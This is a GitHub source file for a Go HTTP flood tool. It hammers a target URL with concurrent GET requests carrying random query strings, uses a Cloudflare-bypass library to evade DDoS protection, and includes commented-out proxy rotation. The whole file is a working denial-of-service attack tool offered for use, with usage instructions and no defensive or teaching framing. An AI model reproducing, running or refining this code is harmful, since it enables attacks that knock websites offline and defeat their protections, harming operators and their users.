-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhttpsfloodraw.go
70 lines (65 loc) · 1.78 KB
/
httpsfloodraw.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package main
import (
"fmt"
"math/rand"
"net/http"
"os"
"strconv"
"time"
bypasser "github.com/AurevoirXavier/cloudflare-bypasser-go"
)
func randomString(l int) string {
rand.Seed(time.Now().UnixNano())
var pool = "abcdefghijklmnopqrstuvwxyzABCEFGHIJKLMNOPQRSTUVWXYZ0123456789"
bytes := make([]byte, l)
for i := 0; i < l; i++ {
bytes[i] = pool[rand.Intn(len(pool))]
}
return string(bytes)
}
func flood() {
urls := os.Args[1] + "?" + randomString(int(rand.Intn(32)+1))
var (
//_ = os.Setenv("HTTP_PROXY", proxies)
client = bypasser.NewBypasser(http.DefaultClient)
req, _ = http.NewRequest("GET", urls, nil)
)
for i := 0; i < 100; i++ {
client.Bypass(req, 100)
}
}
func main() {
if len(os.Args) != 4 {
fmt.Println("If you are using linux please run 'ulimit -n 999999' first!!!")
fmt.Println("Usage: ", os.Args[0], "<url> <threads> <time>")
os.Exit(1)
}
threads, err := strconv.Atoi(os.Args[2])
if err != nil {
fmt.Println("Threads should be a integer")
}
limit, err := strconv.Atoi(os.Args[3])
if err != nil {
fmt.Println("limit should be a integer")
}
// var proxies []string
// file, errr := os.Open("proxy.txt")
// if errr != nil {
// fmt.Printf("failed opening file: %s", err)
// }
// scanner := bufio.NewScanner(file)
// scanner.Split(bufio.ScanLines)
// for scanner.Scan() {
// proxies = append(proxies, scanner.Text())
// }
for i := 0; i < threads; i++ {
time.Sleep(time.Microsecond * 100)
//proxies := "http://" + proxies[rand.Intn(len(proxies))]
go flood() // Start threads
fmt.Printf("\rThreads [%.0f] are ready", float64(i+1))
os.Stdout.Sync()
}
fmt.Printf("\n")
fmt.Println("Flood will end in " + os.Args[3] + " seconds.")
time.Sleep(time.Duration(limit) * time.Second)
}